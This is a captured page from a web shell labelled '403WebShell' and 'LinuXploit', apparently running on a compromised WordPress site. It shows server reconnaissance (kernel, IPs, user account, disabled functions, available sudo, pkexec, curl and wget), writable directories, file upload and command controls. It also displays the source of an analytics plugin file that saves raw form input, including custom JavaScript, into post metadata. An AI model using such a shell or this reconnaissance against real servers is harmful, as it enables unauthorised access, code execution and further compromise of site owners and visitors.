Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/propulseasbl.be/wp-content/plugins/nk-google-analytics/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/propulseasbl.be/wp-content/plugins/nk-google-analytics/admin/save_metabox.php
<?php

defined('ABSPATH') or die("No script kiddies please!");

	if ( ! isset( $_POST['NKgoogleanalytics_meta_box_nonce'] ) ) {
		return;
	}

/**
 * Check
 */

	if ( ! wp_verify_nonce( $_POST['NKgoogleanalytics_meta_box_nonce'], 'NKgoogleanalytics_meta_box' ) ) {
		return;
	}

	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
		return;
	}
	
	if ( isset( $_POST['post_type'] ) && 'page' == $_POST['post_type'] ) {

		if ( ! current_user_can( 'edit_page', $post_id ) ) {
			return;
		}

	} else {
		
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return;
		}
	}

/**
 * Save
 */

	if ( ! empty( $_POST['nkweb_code_in_head'] ) ) {
		update_post_meta( $post_id, 'nkweb_code_in_head', "${_POST['nkweb_code_in_head']}" );
	}

	if ( ! empty( $_POST['nkweb_Use_Custom_js'] ) ) {
		update_post_meta( $post_id, 'nkweb_Use_Custom_js', "${_POST['nkweb_Use_Custom_js']}" );
	}

	if ( isset( $_POST['nkweb_Custom_js'] ) ) {
		update_post_meta( $post_id, 'nkweb_Custom_js', "${_POST['nkweb_Custom_js']}" );
	}

	if ( ! empty( $_POST['nkweb_Use_Custom_Values'] ) ) {
		update_post_meta( $post_id, 'nkweb_Use_Custom_Values', "${_POST['nkweb_Use_Custom_Values']}" );
	}

	if ( isset( $_POST['nkweb_Custom_Values'] ) ) {
		update_post_meta( $post_id, 'nkweb_Custom_Values', "${_POST['nkweb_Custom_Values']}" );
	}
		
	if ( ! empty( $_POST['nkweb_Use_Custom'] ) ) {
		update_post_meta( $post_id, 'nkweb_Use_Custom', "${_POST['nkweb_Use_Custom']}" );
	}

	if ( isset( $_POST['nkweb_Custom_Code'] ) ) {
		update_post_meta( $post_id, 'nkweb_Custom_Code', "${_POST['nkweb_Custom_Code']}" );
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit